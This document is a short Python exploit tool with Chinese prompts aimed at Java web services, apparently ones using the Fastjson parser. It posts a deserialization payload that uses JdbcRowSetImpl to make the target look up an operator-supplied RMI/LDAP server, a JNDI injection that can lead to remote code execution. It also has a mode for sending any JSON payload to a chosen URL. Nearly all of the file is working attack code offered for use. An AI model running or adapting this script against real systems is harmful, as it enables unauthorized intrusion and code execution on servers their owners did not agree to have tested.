import requests

def requests_check(url, payload):
    headers = {
        'Content-Type': "application/json",
        'Accept-Encoding': "gzip, deflate",
        'Connection': "close",
        'Accept': "*/*",
        'User-Agent': "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/61.0.3163.100 Safari/537.36"
    }
    try:
        requests.post(url, payload, headers=headers, timeout=10)
        print("[+] Payload Send Success ")
    except Exception:
        print("[-] Payload Send Failed ")

def dnslog_check(url):
    server = input(">>> Dnslog RMI/LDAP Server >>> ")
    payload = """
        {
            "a": {
                "@type": "java.lang.Class", 
                "val": "com.sun.rowset.JdbcRowSetImpl"
            }, 
            "b": {
                "@type": "com.sun.rowset.JdbcRowSetImpl", 
                "dataSourceName": "%s", 
                "autoCommit": true
            }
        }
        """ %server
    requests_check(url, payload)


def send_json_payload(url):
    print(">>> 请输入Json格式Payload <<< ")
    payload = input(">>> ")
    requests_check(url, payload)


def main(): 
    url = input(">>> Target URL >>> ")
    if url.startswith("http://") or url.startswith("https://"):
        pass
    else:
        url = "http://" + url

    print(">>> 请输入数字选择模式 <<<")
    print('''
        >>> [1] Send Dnslog Poc
        >>> [2] Send Json Payload
    ''')
    try:
        num = int(input(">>> "))
        if num not in range(1, 3):
            print(">>> 类型选择错误 <<<")
            exit()
    except Exception:
        print(">>> 请输入1-2的整数 <<<")
        exit()
    if num == 1:
        dnslog_check(url)
    elif num == 2:
        send_json_payload(url)


if __name__ == '__main__':
    main()